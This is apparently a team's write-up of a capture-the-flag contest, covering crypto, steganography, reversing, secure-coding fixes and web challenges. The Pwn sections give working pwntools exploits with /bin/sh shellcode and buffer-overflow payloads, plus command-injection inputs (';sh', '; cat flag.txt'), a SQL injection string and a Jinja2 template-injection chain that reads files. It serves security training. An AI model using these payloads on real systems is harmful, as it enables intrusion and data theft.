# Crypto

## -.-

We got a file called “flag.txt”, and it shows below

It seems to be Morse code, and what we can do is that we can change “dah” to “-” and “dit”, “di” to “."
I make a file called solve.py

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 with open("flag.txt") as f: context = f.readline() s = context.split(" ") output = '' num = 0 for i in s: for j in i.split("-"): if j == "dah": output += "-" elif j == "di" or "dit": output += "." output += " " print output

By executing it, we can get as follows.

By sending it to online Morse code translator, we get 0X57702A6C58744751386538716E6D4D59552A737646486B6A4974 2A5251264A705A766A6D2125254B446B6670235E4E39666B3464553 46C423372546F5430505A516D4351454B5942345A4D762A21466B38 6C25626A716C504D6649476D612525467A4720676967656D7B43316 9634B5F636C31434B2D7930755F683476335F6D3449317D20757634 767A4B5A7434796F6D694453684C6D385145466E5574774A404E754 F59665826387540476E213125547176305663527A56216A21767575 7038426A644E49714535772324255634555A4F595A327A375432357 43726784C40574F373431305149
By translating hex into ascii, we get Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3 rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1 CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn !1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI We can get the flag in the middle gigem{C1icK_cl1CK-y0u_h4v3_m4I1} ## RSAaaay From the topic, it shows that it is relevant to RSA. The code to solve this problem is as follows.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m p = 0 q = 0 N = 2531257 e = 43 # Find p and q for i in range(2, N): if N % i == 0: p = i q = N / i phi = (p - 1) * (q - 1) d = modinv(e, phi) c = "906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268" m = "" l = [] for i in c.split(" "): m += str(pow(int(i), d, N)) m += " " # m = 103 105103 101109 12383 97118 97103 10195 83105 12095 70108 121105 110103 9584 105103 101114 115125 # Seems like ascii, we have to revise it flag = "" m = "103 105 103 101 109 123 83 97 118 97 103 101 95 83 105 120 95 70 108 121 105 110 103 95 84 105 103 101 114 115 125" for i in m.split(" "): flag += chr(int(i)) print flag We can take the given number pair as the public key, which means treat 2531257 as N and 43 as e. Try to find 2 primes p and q that N = p * q After we got p and q, we can calculate ɸ(N) = (p - 1) * (q - 1) Finally, we can get d by ed ≡ 1 (mod ɸ(N)), which means d is the modular inverse of e modulo ɸ(N) Take 906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268 as cipher text, and m = c^d (mod N). By doing so, we can get m = 103 105103 101109 12383 97118 97103 10195 83105 12095 70108 121105 110103 9584 105103 101114 115125. It looks like ASCII code, but we have to revise it. Split it properly and covert to ASCII code and we can get the flag gigem{Savage_Six_Flying_Tigers} ## :)  1 2 3 4 5 6 7 8 import base64 from itertools import izip, cycle c = "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH" c1 = base64.b64decode(c) xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(c1, cycle(":)"))) print xored The given ciphertext looks encoded by base64, so I decode it with base64. However, we cannot get the flag after having it decoded. The topic :) seems useful. We can try to XOR the decoded message with :), and we can get the flag gigem{I'm not superstitious, but I am a little stitious.}. # DriveByInc ## 0_instruction We can find malicious coinhive javascript in the source code. Coinhive is a Monero mining program, so it should not be on the webpage. # MISC ## Who am I ? With dig tamuctf.com command, we can get the answer 52.33.57.247. ## Who do I trust ? By looking at the certificate, we can get the answer Let's Encrypt Authority X3. ## Where am I ? By Using the website https://www.ez2o.com/App/Net/IP, we can find the answer is Boardman. ## I heard you like files In this task, we got an image file art.png Using binwalk, we can see that there are some files hidden in the image file. Using foremost, we can get a pdf file, a zip file, and an image file. After unzipping the zip file, it looks like a word document with some XML file and image called image1.png. If we use the command strings word/media/image1.png, we can get as follows In the end, ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K seems a little bit weird, using base64 to decode this string, and the flag flag{P0lYt@r_D0_y0u_G3t_It_N0w?} appears. ## Hello World We got a file called hello_world.cpp, its first several lines look like this And its bottom looks like this In the first several lines, every line is filled with space or tab, and this fixed pattern is stopped in the middle of the file. It seems like there is binary code hidden from line 1 to line 89, and we can eliminate the first 2 spaces in each line to make it 8 characters.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 with open("hello_world.cpp") as f: content = f.readlines() counter = 0 code = '' for i in content: for j in i[2:]: if j == ' ': code += '0' elif j == '\t': code += '1' counter += 1 if counter == 89: break else: code += ' ' flag = '' for k in code.split(' '): flag += chr(int('0b' + k, 2)) print flag Replace space as 0 and tab as 1. Fially, we can get the flag gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3}. # Pwn ## Pwn1 We got a file pwn1.dms. If we look at its pseudocode, it looks like this For the first two questions, we can directly answer them. However, for the third, we have to add some stuff. We have to put something in s and cover to v5. char s is at esp + 1h, and int v5 is at esp + 2Ch. There are 2Ch - 1h = 2Bh bytes, which are 43 bytes between them. Finally, for s, we give it "A"*43 for padding and 0xdea110c8 in the end, which is hex of -559869752. And we can get the flag gigem{34sy_CC428ECD75A0D392}.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * p = remote('pwn.tamuctf.com', 4321) p.recvuntil('What... is your name?\n') p.sendline('Sir Lancelot of Camelot') p.recvuntil('What... is your quest?\n') p.sendline('To seek the Holy Grail.') p.recvuntil('What... is my secret?\n') s = '' s += "A"*43+p32(0xdea110c8) p.sendline(s) p.interactive() ## Pwn2 This time we get a file pwn2.dms, and its pseudocode looks like this. We have to carefully select our input, so that in the function select_func we can modify v3 from src in line 7, which is strncpy. char dest is at esp + Eh, while v3 is at esp + 2Ch. The bytes between char dest and v3 are 2Ch - Eh = 1Eh, which are 30 bytes. Let’s look at the address of function two and function print_flag. The address of function two is 000006AD, while the address of function print_flag is 000006D8. v3 is set to 000006AD in line 6. If we make char dest overflow, we can modify the value of v3. We need 30 paddings as we mentioned above. By adding 0xD8 after the paddings, we can change 000006AD into 000006D8, which is the address of the function print_flag. Finally, we can get the flag gigem{4ll_17_74k35_15_0n3}.  1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = remote('pwn.tamuctf.com', 4322) p.recvuntil('Which function would you like to call?\n') s = '' s += "A"*30+p32(0xd8) p.sendline(s) p.interactive() ## Pwn3 This time we get pwn3.dms, and its pseudo code looks like this. If we check its security, we will notice that it is NX disabled. What we do is that we get the address of s, and we keep it. The payload we send will be stored in s, which starts with the shellcode of Linux x86. I need to fill the payload with paddings until the length is 302 bytes because from s, we need 12Ah to reach ebp, which is 298 bytes, and we add another four bytes to cover ebp. Finally, add the address of s at the end of the payload so that the return address will be substituted by the address of s. When we return from the address, the shellcode will be executed. We can get the flag, the demonstration is as follows,  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p = remote('pwn.tamuctf.com', 4323) shellcode = '' shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" p.recvuntil('Take this, you might need it on your journey ', drop=True) addr = int(p.recvuntil('!\n', drop=True), 16) s = shellcode.ljust(302, 'A') + p32(addr) p.sendline(s) p.interactive() ## Pwn4 This time we get pwn4.dms, and its pseudo code looks like this. As we can see, the program asks us to provide the arguments for ls. If the slash is not contained, the program will execute the command the user input. We can give nothing at first, and it will list the files and directories in the current directory. After that, We gave ; cat flag.txt, and we can get the flag. It is shown in the following image. ## Pwn5 We get a file pwn5.dms, and its pseudocode looks like this. Again, the program asks us to provide the arguments for ls. However, we can only provide the command with 7 characters. We gave nothing at first, and it will list the files and directories in the current directory. This time, since the length of ; cat flag.txt is too long that cannot meet the requirement, we gave ;sh instead. After we get the shell, we can execute the command cat flag.txt to get the flag. It is shown in the following image. # Reading Rainbow ## 0_Number_Enumeration From the given .pcap file, it is obvious that the IP address of the private webserver is 192.168.11.4. To find out how many hosts made contact with the private server, we can give the filter ip.dst == 192.168.11.4 && (udp || tcp), and take a look at all those IP addresses which is satisfied with the restriction. From the picture above, except 192.168.11.4, which is the webserver itself, there are 13 distinctive IP addresses. # Reversing ## Cheesy For this challenge, we get a file called reversing1.dms. By commanding string reversing1.dms, we get the following result. There are some strings ended with = seem suspicious. Try to decode some of them with base64. And we get the flag gigem{3a5y_R3v3r51N6!}. ## Snakes over cheese We get a file called reversing2.pyc. By commanding ./pycdc reversing2.pyc, we can decompile the pyc file. The code looks like this.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from datetime import datetime Fqaa = [ 102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125] XidT = [ 83, 117, 112, 101, 114, 83, 101, 99, 114, 101, 116, 75, 101, 121] def main(): print 'Clock.exe' input = raw_input('>: ').strip() kUIl = '' for i in XidT: kUIl += chr(i) if input == kUIl: alYe = '' for i in Fqaa: alYe += chr(i) print alYe else: print datetime.now() if __name__ == '__main__': main() It is obvious that kUIl, which is equal to Xidt, is for verification. The real information is in Fqaa, which will be extracted to alYe. To get the flag, the code is as follows.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from datetime import datetime Fqaa = [ 102, 108, 97, 103, 123, 100, 101, 99, 111, 109, 112, 105, 108, 101, 125] def main(): alYe = '' for i in Fqaa: alYe += chr(i) print alYe if __name__ == '__main__': main() And we can get the flag flag{decompile}. # Secure Coding ## SQL Note: This is the source code of the web app Not Another SQLi Challenge. There are some files in gitlab repository, and this is the part of code for login. To avoid SQL injection, we used a prepared statement. The code after revision is as follows. And we can get the flag gigem{the_best_damn_sql_anywhere}. ## Pwn There is a file called vuln.c, and the code is as follows.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include #include void echo() { printf("%s", "Enter a word to be echoed:\n"); char buf[128]; gets(buf); printf("%s\n", buf); } int main() { echo(); } It may cause buffer overflow using gets(buf). Instead of using it, we use fgets(buf, 128, stdin). The modified code is as follows.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include #include void echo() { printf("%s", "Enter a word to be echoed:\n"); char buf[128]; fgets(buf, 128, stdin); printf("%s\n", buf); } int main() { echo(); } And we can get the flag gigem{check_that_buffer_size_baby}. ## Science Note: This is the project of the web app Science!. The original code for the main function of science is as follows. With render_template_string, it may cause some bugs regarding Flask. Instead of returning the template after rendering, we return the template directly. The modified code is as follows. And the flag is gigem{br0k3n_fl4sk_2d88bb862569}. ## Login App 2 Note: This is the source code of Login App. The original code for login is as follows. The database may be exploited by NoSQL injection. We can use the$in selector to avoid this exploitation.

The modified code is as follows.

And the flag is gigem{3y3_SQL_n0w_6b95d3035a3755a}.

# Web

## Not Another SQLi Challenge

Note: The source code of this web app is in the challenge SQL.

Try some SQL injection pattern, such as admin’ #, and we can get the flag gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}.

## Many Gig’ems to you!

For this challenge, we need to find the flag in cookie and source code of the web page.

If we are prudent enough, we can get as follows.

we get gigem{flag_in_

and source_and_

In the end, the flag is gigem{flag_in_source_and_cookies}.

## Science!

Note: The source code of this project is in the challenge Science.

Based on the hint, it seems like the webserver is based on Flask.

The steps to test which kind of Flask it used is as follows.

If it does not work, we follow the red arrow to do the subsequent tests.

If it works, we follow the green arrow to do the subsequent tests.

First, try \${7*7}

It does not work, so we try {{7 * 7}}

It works, and {{7 * 7}} becomes 49. Next, we can try {{7*'7'}}.

If it works and the result is 49, it’s twig. If it works and the result is 7777777, it’s jinja2.

It works and shows that it is jinja2.

Check {{ self }}

Check {{ config }}

I also check something such as {{ g }} and {{ session }}, but none of the information seems useful.

Then, I try using {{ [].__class__ }} to get the type of class.

Then, I try using {{ [].__class__.__base__ }} to get the type of the object.

Try using {{ [].__class__.__base__.__subclasses__() }} to get the subclasses.

The 40th subclass is file, we can use {{ [].__class__.__base__.__subclasses__()[40] }} to access it.

Finally, we can use it to access the flag by trying {{ [].__class__.__base__.__subclasses__()[40]('flag.txt').read() }}.

And we can get the flag gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}.